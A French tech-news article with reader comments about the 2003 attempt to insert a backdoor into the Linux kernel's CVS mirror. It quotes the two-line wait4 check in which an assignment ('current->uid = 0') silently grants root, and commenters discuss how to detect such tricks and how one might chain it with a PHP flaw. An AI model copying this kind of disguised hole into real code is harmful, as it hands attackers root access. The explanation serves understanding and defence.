Discussion :

[Hinault Romaric]

Linux : il y aurait eu une tentative d’intégration d’un backdoor dans le noyau en 2003
révélation sur le code injecté

Il y aurait eu une tentative d’introduction d’une porte dérobée (backdoor) dans le noyau Linux. Ed Felten, professeur d’informatique à l’université de Princeton, revient dans un billet de blog sur l’incident.

Retour en 2003. Les développeurs de Linux utilisaient le logiciel BitKeeper pour stocker la copie maitre du code source du kernel. Si un développeur voulait proposer une modification du code Linux, il devait soumettre ses changements, qui devaient passer un processus d’approbation pour décider si le code proposé pouvait être accepté dans le code maitre.

Cependant, beaucoup de développeurs n’aimaient pas BitKeeper (parce que c’était un logiciel fermé de contrôle de code source, qui a été remplacé plus tard par Git). Une seconde copie du code source de Linux était maintenue dans un CVS pour ceux-ci. La copie CVS était un clone direct de la copie BitKeeper primaire.

En novembre 2003, Larry McVoy, un administrateur Linux, avait remarqué un changement dans le code de la copie CVS, qui n’avait pas de référence vers un dossier d’approbation. L’enquête des développeurs a révélé que le changement n’avait jamais été approuvé, était inconnu et ne provenait pas du code primaire de BitKeeper.

En menant une enquête plus approfondie, il s’est avéré que quelqu’un avait créé un dysfonctionnement sur le serveur CVS et avait inséré ce changement. « Qu’est-ce que ce changement fait ? C’est là que ça devient intéressant », écrit Felten, qui note que le changement avait modifié la fonction « wait4 » du kernel. Concrètement, le code inséré était le suivant :

Code C :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
 
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

Une lecture superficielle de ce code peut donner l’impression d’un code sans problème. D’après Felten, un développeur averti devrait remarquer qu’au lieu d’utiliser l’opérateur de comparaison « == », l’opérateur d’affectation a plutôt été utilisé « = » (current->uid = 0). Le « 0 » représentant l’utilisateur root, ce code attribuerait donc les privilèges d’administrateur à « current->uid ». « En d’autres termes, il s’agit d’une porte dérobée classique », conclut Ed Felten.

« C’est un morceau de code intéressant. Il ressemble à une vérification inoffensive d’erreurs, mais c’est vraiment un backdoor. Il a été glissé dans le code en dehors du processus normal d’approbation, afin d’éviter sa détection », écrit Felten, qui ajoute : « mais la tentative n’a pas fonctionné, parce que l’équipe Linux est assez prudente et a noté que le code était dans le CVS sans approbation. Un point pour Linux ».

S’agit-il d’une tentative de la NSA ? Peut-être que oui, peut-être que non. L’auteur n’avait pas été identifié.


Source : billet d'Ed Felten


Et vous ?

Qu'en pensez-vous ?

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?

[martin.magakian]

Sympa comme article.

Simplement merci.

[Ptigrouick]

Merci pour cette explication claire et précise d'un point technique pourtant ardu. Bravo à l'auteur de cet article !

[abriotde]

Bonjour,

Cela prouve que c'est potentiellement possible d'insérer discrètement du code dans le noyau même si c'est tout de même pas a la portée de n'importe qui.

Mais chose plus grave, ce code ne permet a priori que de passer root, pas de se connecter sur la machine. Comment l'auteur de se code (la NSA?) comptait t'il s'authentifier sur la machine? Un logiciel installé et vérolé (plus facile a corrompre) ou un autre bout de code malicieux passé par le système standard de validation ou non?

[Traroth2]

Une modification discrète grâce à une intrusion sur le serveur de versioning, un ajout des plus brefs, une petite subtilité pour que ça passe encore un peu plus inaperçu... Une tentative plutôt bien organisée, en fait.

D'une certaine manière, ça place la création de Git et le remplacement de Bitkeeper et CVS sous une lumière différente, cette histoire...

Cela dit, est-ce que ça veut dire que les intrus ont aussi remplacé le hash MD5 qui sert à vérifier l'authenticité du source ? Ou est-ce que ça ne se faisait pas encore en 2003 ? Ca serait surprenant, quand même, ça fait longtemps qu'on voit ça sur les repos de projets open-source et libres.

[Sirus64]

Qu'en pensez-vous ?
Les compilateurs affichent normalement des Warnings pour ce genre "d'erreurs".

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?
Je pense que vu la quantité de code dans Linux, il est facile de rajouter du code malicieux. Il y en a surement, je ne peux pas croire l'inverse ! N'importe quelle application peut en avoir (volontairement ou non). Le fait que le code soit ouvert n'est pas un gage de qualité.

[Traroth2]

Qu'en pensez-vous ?

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?
Je pense que vu la quantité de code dans Linux, il est facile de rajouter du code malicieux. Il y en a surement, je ne peux pas croire l'inverse ! N'importe quelle application peut en avoir (volontairement ou non). Le fait que le code soit ouvert n'est pas un gage de qualité.

L'idée de code malicieux, c'est que c'est volontaire, justement.
Un projet comme Linux est découpé en modules qui sont pris en charge par des équipes différentes. Il n'y a pas une grosse équipe qui gère tout. Et le code lui-même est relu par des gens du monde entier qui ne sont pas directement impliqués dans processus de développement. Il faut se rendre compte que de nos jours, Linux est utilisé et adapté aux besoins, donc relu, par des organisations aussi diverses que Google, Free, Microsoft, la gendarmerie nationale française, le gouvernement chinois ou la Nasa. S'il y avait une backdoor, je pense que ça se remarquerait en quelques jours.

[Errata]

Il y a quand même de plus en plus d'outils d'analyse qui finissent par nettoyer les erreur bête (les nouveaux outils de clang envoient du rêve). Et pour les failles plus complexe et plus vicieuse, le code change pas mal de sorte qu'elles sont difficilement maintenable.
Je me doute bien qu'il y a des failles, mais je pense plus qu'elles sont due a l'inattention plus qu'a une volonté malveillante.
Par contre dans de plus petit logiciel, là il y a matières a maintenir une failles efficace...

[Squisqui]

Qu'en pensez-vous ?
Les compilateurs affichent normalement des Warnings pour ce genre "d'erreurs".

Nop, pour gcc, les parenthèses servent à appuyer la volonté de faire une affectation. Il n'y a donc pas de warning dans ce cas précis. L'affectation dans une boucle est assez courante en C (un peu moins dans une condition).
C'est ce qui rend le code très discret. Le seul moyen de le repérer est de mettre en évidence les différences entre deux révisions ou de le relire à la main.

[goomazio]

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?

En tout cas, ça a été possible à une époque. Dans la source de l'article se trouve un lien vers un autre article disant qu'une modification du code de Debian, qui faisait que les clés de sécurité générées par le système pour SSL et SSH par exemple étaient facilement devinables ("32,767 choices"), est resté "en production" de fin 2006 à 2008 et s'est même propagé à Ubuntu...

Mais on ne sait pas combien de temps ces failles vont rester inconnues et si elles sont utilisables rapidement.

L'idée de code malicieux, c'est que c'est volontaire, justement.

Juste sur ce point : pas forcément, en tout cas ici on parle des failles volontaires ou involontaires, qui ont le même résultat. Pour moi une faille pourrait tout aussi bien être volontaire qu'involontaire, cf. l'exemple de l'article qui aurait pu être pris pour un acte involontaire s'il n'y avait pas eu de piratage du dépôt CVS ou je ne sais quoi d'autre de louche.

[Traroth2]

Juste sur ce point : pas forcément, en tout cas ici on parle des failles volontaires ou involontaires, qui ont le même résultat. En plus, une faille pourrait tout aussi bien être volontaire qu'involontaire, cf. l'exemple de l'article qui aurait pu être pris pour un acte involontaire s'il n'y avait pas eu de piratage du dépôt CVS ou je ne sais quoi d'autre de louche.

C'est une faille, alors, pas du code malicieux. Malicieux, ça veut dire pas sympa, dans le contexte...

[goomazio]

...

Qui dit que le développeur est conscient du caractère du code qu'il produit ? Si peut qu'il soit un peu absent durant la jeunesse du code, le développeur peut ne pas se rendre compte du monstre plein de malice qu'il a mit au monde

Sans rire, je suis d'accord. Même si la différence ne me semble pas si importante que ça à partir du moment où on sait que le caractère volontaire ne change rien sur la problématique de la sécurité des dépôts de codes (qu'ils soient gérés par une communauté ou une entreprise d'ailleurs).

[mith06]

Nop, pour gcc, les parenthèses servent à appuyer la volonté de faire une affectation. Il n'y a donc pas de warning dans ce cas précis. L'affectation dans une boucle est assez courante en C (un peu moins dans une condition).
C'est ce qui rend le code très discret. Le seul moyen de le repérer est de mettre en évidence les différences entre deux révisions ou de le relire à la main.

C'est juste!!

D'où l’intérêt d'utiliser le mot clef const un maximum!
Ce n’était peut être pas le possible dans ce cas précis...

Mais en tout cas c'est magnifiquement bien joué de la part de l'auteur!!

[TNT89]

D'où l’intérêt d'utiliser le mot clef const un maximum!

Ou de renverser les égalités en constante == variable, puisque dans ce cas, le compilateur reportera forcément une erreur.

[grim7reaper]

En tout cas, ça a été possible à une époque. Dans la source de l'article se trouve un lien vers un autre article disant qu'une modification du code de Debian, qui faisait que les clés de sécurité générées par le système pour SSL et SSH par exemple étaient facilement devinables ("32,767 choices"), est resté "en production" de fin 2006 à 2008 et s'est même propagé à Ubuntu...

C’était pas une backdoor ça…
Ça a été provoqué par un problème de communication entre les dev’ d’OpenSSL et le mainteneur de Debian.
Torts partagés cependant, les dev’ d’OpenSSL n’ont apparemment pas répondu aux questions du mainteneur, et le mainteneur a pris la responsabilité de modifier un code (relativement critique en plus) qu’il ne comprenait pas.

[akrogames]

Pourquoi developpez.com ressort une news vieille de 10 ans ? Vous êtes en manque de news croustillante ou quoi ?

Enfin bref, pas terrible comme "pas news" vu qu'on le savait déjà.

[BATiViR]

Les Unit Tests devraient rendre se genre de chose plus compliquées/plus faciles a détecter...

[ptah35]

Pour qu'un test unitaire détecte ce code il faudrait qu'il génère des valeurs telles que le premier terme de l'expression booléenne soit vérifié sans quoi l'affectation n'est pas exécutée. Si la condition est très particulière, il y peu de chance pour qu'elle corresponde à une spécification (particulièrement s'il s'agit de code malveillant) et il y a donc peu de chance pour qu'un test unitaire, le plus souvent un test de type "boîte noire", puisse détecter ce problème.

Ce genre de problème se découvre le plus souvent à l'aide d'outils d'analyse de couverture du code par les tests et de revues de code.

[RaphAstronome]

ce code ne permet a priori que de passer root, pas de se connecter sur la machine.

L'une des solutions pour passer root pourrait ce trouver sur une faille de tout autre logiciel.

Imagine un simple script PHP qui aurait une faille include par exemple : normalement le script s'exécute en www-data ou autre user non privilégié, cela peut déjà faire des gros dégâts mais reste limité à cet user. Avec cette faille il est alors possible de passer du compte limité à root.

Imagine un gros hébergeur mutualisé qui propose PHP, il y aura forcément une faille include ou équivalant sur un des scripts des clients. Une autre solution consisterait aussi à tout simplement prendre un hébergement chez eux et faire un tout petit peu exprès de mal coder.

[DidiLogic]

Sympa l'exemple détaillé !

Cela dit, ce n'est pas en Pascal que ce code aurait pu passer.
Les effet de bord autorisés par le C font sa force, mais ont coût certain en termes de débogage.